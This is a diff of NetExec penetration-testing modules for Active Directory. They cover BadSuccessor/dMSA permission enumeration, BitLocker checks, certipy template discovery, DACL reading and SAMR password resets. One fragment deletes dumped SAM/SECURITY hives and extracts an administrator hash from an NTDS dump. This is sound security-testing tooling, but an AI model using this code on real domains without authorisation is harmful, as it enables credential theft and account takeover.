if "STATUS_ACCESS_DENIED" in str(e):
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
try:
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
continue
except Exception as exec_err:
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
all_deleted = False
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
if all_deleted:
double_check = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
if connection.conn.listPath("SYSVOL", remote_name):
double_check = False
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
except SessionError:
pass
if double_check:
context.log.display("Successfully deleted dump files !")
return
self._print_cleanup_warning(context, rand_suffix)
def _extract_da_hash(self, output_filename, context):
try:
with open(f"{output_filename}.ntds") as f:
fallback = None
for line in f:
fields = line.strip().split(":")
if len(fields) < 4 or not fields[3]:
continue
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
if fields[1] == "500":
return da_user, fields[3]
if fallback is None:
fallback = (da_user, fields[3])
if fallback:
return fallback
except Exception as e:
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
if self.system_hive_saved:
paths += f", SYSTEM_{rand_suffix}"
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
-216
View File
@@ -1,216 +0,0 @@
from impacket.ldap import ldaptypes
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.microsoft import security_descriptor_control
RELEVANT_OBJECT_TYPES = {
"00000000-0000-0000-0000-000000000000": "All Objects",
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
}
EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins
EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM
# Define all access rights
ACCESS_RIGHTS = {
# Generic Rights
"GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ
"GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE
"GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE
"GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL
# Maximum Allowed access type
"MaximumAllowed": 0x02000000,
# Access System Acl access type
"AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
# Standard access types
"Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE
"WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER
"WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC
"ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL
"Delete": 0x00010000, # ADS_RIGHT_DELETE
# Specific rights
"AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS
"ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT
"DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE
"WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP
"ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP
"Self": 0x00000008, # ADS_RIGHT_DS_SELF
"ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST
"DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD
"CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD
}
# Define which rights are considered relevant for potential abuse
RELEVANT_RIGHTS = {
"GenericAll": ACCESS_RIGHTS["GenericAll"],
"GenericWrite": ACCESS_RIGHTS["GenericWrite"],
"WriteOwner": ACCESS_RIGHTS["WriteOwner"],
"WriteDACL": ACCESS_RIGHTS["WriteDACL"],
"CreateChild": ACCESS_RIGHTS["CreateChild"],
"WriteProperties": ACCESS_RIGHTS["WriteProperties"],
"AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
}
FUNCTIONAL_LEVELS = {
"Windows 2000": 0,
"Windows Server 2003": 1,
"Windows Server 2003 R2": 2,
"Windows Server 2008": 3,
"Windows Server 2008 R2": 4,
"Windows Server 2012": 5,
"Windows Server 2012 R2": 6,
"Windows Server 2016": 7,
"Windows Server 2019": 8,
"Windows Server 2022": 9,
"Windows Server 2025": 10,
}
class NXCModule:
"""
-------
Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
"""
name = "badsuccessor"
description = "Check if vulnerable to bad successor attack (DMSA)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available"""
def is_excluded_sid(self, sid, domain_sid):
if sid in EXCLUDED_SIDS:
return True
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
def get_domain_sid(self):
"""Retrieve the domain SID from the domain object in LDAP"""
r = self.connection.search(
searchFilter="(objectClass=domain)",
attributes=["objectSid"]
)
parsed = parse_result_attributes(r)
if parsed and "objectSid" in parsed[0]:
return parsed[0]["objectSid"]
def find_bad_successor_ous(self, entries):
domain_sid = self.get_domain_sid()
results = {}
parsed = parse_result_attributes(entries)
for entry in parsed:
dn = entry["distinguishedName"]
sd_data = entry["nTSecurityDescriptor"]
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
for ace in sd["Dacl"]["Data"]:
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
continue
has_relevant_right = False
mask = int(ace["Ace"]["Mask"]["Mask"])
for right_value in RELEVANT_RIGHTS.values():
if mask & right_value:
has_relevant_right = True
break
if not has_relevant_right:
continue # Skip this ACE if it doesn't have any relevant rights
object_type = getattr(ace, "ObjectType", None)
if object_type:
object_guid = ldaptypes.bin_to_string(object_type).lower()
if object_guid not in RELEVANT_OBJECT_TYPES:
continue
sid = ace["Ace"]["Sid"].formatCanonical()
if self.is_excluded_sid(sid, domain_sid):
continue
results.setdefault(sid, []).append(dn)
if hasattr(sd, "OwnerSid"):
owner_sid = str(sd["OwnerSid"])
if not self.is_excluded_sid(owner_sid, domain_sid):
results.setdefault(owner_sid, []).append(dn)
return results
def resolve_sid_to_name(self, sid):
"""
Resolves a SID to a samAccountName using LDAP
Args:
----
sid: The SID to resolve
Returns:
-------
str: The samAccountName if found, otherwise the original SID
"""
try:
search_filter = f"(objectSid={sid})"
response = self.connection.search(
searchFilter=search_filter,
attributes=["sAMAccountName"]
)
parsed = parse_result_attributes(response)
if parsed and "sAMAccountName" in parsed[0]:
return parsed[0]["sAMAccountName"]
return sid
except Exception:
return sid
def on_login(self, context, connection):
self.connection = connection
# Check for a domain controller with Windows Server 2025
resp = self.connection.search(
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
attributes=["operatingSystem", "dNSHostName"]
)
parsed_resp = parse_result_attributes(resp)
for dc in parsed_resp:
if "2025" in dc["operatingSystem"]:
out = connection.resolver(dc["dNSHostName"])
dc_ip = out["host"] if out else "Unknown IP"
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
else:
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
# Enumerate dMSA objects
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
resp = self.connection.search(
searchFilter="(objectClass=organizationalUnit)",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=controls
)
context.log.debug(f"Found {len(resp)} entries")
results = self.find_bad_successor_ous(resp)
if results:
context.log.success(f"Found {len(results)} results")
else:
context.log.highlight("No account found")
for sid, ous in results.items():
samaccountname = self.resolve_sid_to_name(sid)
for ou in ous:
if sid == samaccountname:
context.log.highlight(f"{sid}, {ou}")
else:
context.log.highlight(f"{samaccountname} ({sid}), {ou}")
+131 -116
View File
@@ -1,116 +1,131 @@
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
-142
View File
@@ -1,142 +0,0 @@
#!/usr/bin/env python3
import json
import socket
from os import makedirs
from os.path import join
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
class NXCModule:
"""Module made by: @NeffIsBack, @gatariee"""
name = "certipy-find"
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
VULN Show only vulnerable configurations (Default: True)
ENABLED Show only enabled templates
Export options:
TEXT Export results to a plain text file
CSV Export results to a CSV file
JSON Export results to a JSON file
"""
self.vuln = True
self.enabled = False
self.output_path = join(NXC_PATH, "modules", "certipy-find")
self.json = False
self.csv = False
self.text = False
if "VULN" in module_options:
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
if "ENABLED" in module_options:
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
# Export options
if "JSON" in module_options:
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
if "CSV" in module_options:
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
if "TEXT" in module_options:
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
def on_login(self, context, connection):
dns_server = connection.args.dns_server
if not dns_server:
try:
# If connection.host is an IP, use it as DNS
socket.inet_aton(connection.host)
dns_server = connection.host
except Exception:
# Otherwise let DnsResolver use system resolver (None)
dns_server = None
resolv = DnsResolver.create(dns_server)
# prefer connection.hostname if present, otherwise connection.host
remote = (connection.hostname or connection.host) or ""
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
target = Target(
resolver=resolv,
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=connection.remoteName,
hashes=f"{connection.lmhash}:{connection.nthash}",
lmhash=connection.lmhash,
nthash=connection.nthash,
do_kerberos=connection.kerberos,
aes=connection.aesKey,
dc_ip=connection.kdcHost,
target_ip=connection.host,
ldap_port=connection.port,
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
ldap_signing=connection.signing_required,
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
)
finder = Find(
target=target,
json=self.json,
csv=self.csv,
text=self.text,
output_path=self.output_path,
stdout=True,
vulnerable=self.vuln,
enabled=self.enabled,
)
# Get templates and CAs
templates = finder.get_certificate_templates()
cas = finder.get_certificate_authorities()
finder._link_cas_and_templates(cas, templates)
# Get OIDs
oids = finder.get_issuance_policies()
# Process information
finder._link_templates_and_policies(templates, oids)
finder._process_ca_properties(cas)
finder._process_template_properties(templates)
output = finder.get_output_for_text_and_json(templates, cas, oids)
pretty_print(output, print_func=context.log.highlight)
# Save to disk if any export option specified
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
if self.json:
with open(join(self.output_path, f"{filename}.json"), "w") as f:
json.dump(
output,
f,
indent=2,
default=str,
)
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
f.write(template_output)
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
f.write(ca_output)
if self.text:
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
-149
View File
@@ -1,149 +0,0 @@
import sys
from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
"""
Module for changing or resetting user passwords
Module by Fagan Afandiyev, termanix and NeffIsBack
"""
name = "change-password"
description = "Change or reset user passwords via various protocols"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
Required (one of):
NEWPASS The new password of the user.
NEWNTHASH The new NT hash of the user.
Optional:
USER The user account if the target is not the current user.
Examples
--------
If STATUS_PASSWORD_MUST_CHANGE, STATUS_PASSWORD_EXPIRED or STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (Change password for current user)
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
If want to change other user's password (with forcechangepassword priv or admin rights)
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
"""
self.newpass = module_options.get("NEWPASS")
self.newhash = module_options.get("NEWNTHASH")
self.target_user = module_options.get("USER")
if not self.newpass and not self.newhash:
context.log.fail("Either NEWPASS or NEWNTHASH is required!")
sys.exit(1)
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
if anonymous:
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
dce = NXCRPCConnection(connection).connect(
None,
samr.MSRPC_UUID_SAMR,
string_binding=string_binding,
set_remote_host=connection.host,
anonymous_rpc=True,
)
context.log.info("Connecting with null session credentials.")
else:
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
context.log.info("[+] Successfully connected to DCE/RPC")
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
context.log.fail(f"DCE/RPC Exception: {e!s}")
raise
def on_login(self, context, connection):
self.context = context
target_username = self.target_user or connection.username
target_domain = connection.domain
# Grab all creds from the connection to use for authentication
self.oldpass = connection.password
self.oldhash = connection.nthash
new_lmhash, new_nthash = "", ""
# Parse new hash values if provided
if self.newhash:
try:
new_lmhash, new_nthash = self.newhash.split(":")
except ValueError:
new_nthash = self.newhash
try:
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
elif "STATUS_LOGON_FAILURE" in str(e):
context.log.fail("Authentication failure: wrong credentials.")
return False
else:
raise
try:
# Perform the SMB SAMR password change
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
user = self.context.db.get_user(target_domain, target_username)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
# Store the new credentials in the database
if new_nthash:
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
else:
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
except Exception as e:
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}")
elif "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"User '{target_username}' not found or not resolvable")
else:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
def _hSamrOpenUser(self, connection, username):
"""Connect to the target server and retrieve the user handle"""
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
File diff suppressed because it is too large. Load diff
+193 -123
View File
@@ -1,17 +1,16 @@
import binascii
import codecs
import json
import re
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.ldap.ldapasn1 import SDFlagsControl
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.formatters.formatters import format_sid
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -189,40 +188,27 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={target})",
"TARGET_DN": lambda target: f"(distinguishedName={target})"
}
class NXCModule:
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
"""
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
# Initialize module variables
self.principal_sAMAccountName = None
self.principal_sid = None
self.action = "read"
self.ace_type = "allowed"
self.rights = None
self.rights_guid = None
def options(self, context, module_options):
"""
Be careful, this module cannot read the DACLS recursively.
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
@@ -241,134 +227,213 @@ class NXCModule:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
sys.exit(1)
self.targets = []
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
try:
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception:
context.log.fail("The file doesn't exist or cannot be openned.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
self.target_SID = None
if module_options and "TARGET_DN" in module_options:
self.target_DN = module_options["TARGET_DN"]
self.target_sAMAccountName = None
self.target_file = None
for option in "TARGET", "TARGET_DN":
if option in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
with open(module_options[option]) as target_file:
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Adding target: {module_options[option]}")
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
if not self.targets:
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
sys.exit(1)
if "PRINCIPAL" in module_options:
if module_options and "PRINCIPAL" in module_options:
self.principal_sAMAccountName = module_options["PRINCIPAL"]
else:
self.principal_sAMAccountName = None
self.principal_sid = None
if "ACTION" in module_options:
if module_options and "ACTION" in module_options:
self.action = module_options["ACTION"]
if "ACE_TYPE" in module_options:
else:
self.action = "read"
if module_options and "ACE_TYPE" in module_options:
self.ace_type = module_options["ACE_TYPE"]
if "RIGHTS" in module_options:
else:
self.ace_type = "allowed"
if module_options and "RIGHTS" in module_options:
self.rights = module_options["RIGHTS"]
if "RIGHTS_GUID" in module_options:
else:
self.rights = None
if module_options and "RIGHTS_GUID" in module_options:
self.rights_guid = module_options["RIGHTS_GUID"]
else:
self.rights_guid = None
self.filename = None
def on_login(self, context, connection):
